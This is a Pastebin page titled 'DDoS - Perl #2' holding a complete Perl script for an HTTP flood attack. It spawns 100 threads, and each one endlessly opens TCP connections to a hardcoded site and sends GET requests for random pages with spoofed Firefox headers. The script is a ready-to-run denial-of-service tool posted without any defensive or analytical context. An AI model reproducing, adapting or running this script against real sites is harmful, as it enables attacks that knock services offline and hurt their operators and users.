cybercode

DDoS - Perl #2

Feb 20th, 2012
364
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.01 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. use strict;
  4.  
  5. use Socket;
  6.  
  7. use threads;
  8.  
  9. my @threads;
  10.  
  11. for my $i (1..100) {
  12.  
  13. push @threads, threads->create(\&mainSub, $#threads+1);
  14.  
  15. }
  16.  
  17. foreach my $thread (@threads) {
  18.  
  19. $thread->join();
  20.  
  21. }
  22.  
  23. sub mainSub{
  24.  
  25. my $n=shift;
  26.  
  27. my $host="ololo.ru";
  28.  
  29. my $port="80";
  30.  
  31. my $headers=qq~User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5
  32.  
  33. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
  34.  
  35. Accept-Language: ru,en-us;q=0.7,en;q=0.3
  36.  
  37. Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
  38.  
  39. Keep-Alive: 300
  40.  
  41. Connection: keep-alive~;
  42.  
  43. my $i;
  44.  
  45. while (1){
  46. $i++;
  47. my $page=int(rand(7)+1);
  48. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  49. my $iaddr = inet_aton($host);
  50. my $paddr = sockaddr_in($port, $iaddr);
  51. connect(SOCK, $paddr);
  52. send (SOCK, "GET http://ololo.ru/$page.html HTTP/1.1\nHost: ololo.ru\n$headers\n\n", 0);
  53. close(SOCK);
  54. print "Thread: $n. Iteration: $i. Page: $page. Time: ",time(),".\n";
  55.  
  56. }
  57.  
  58. }
Add Comment
Please, Sign In to add comment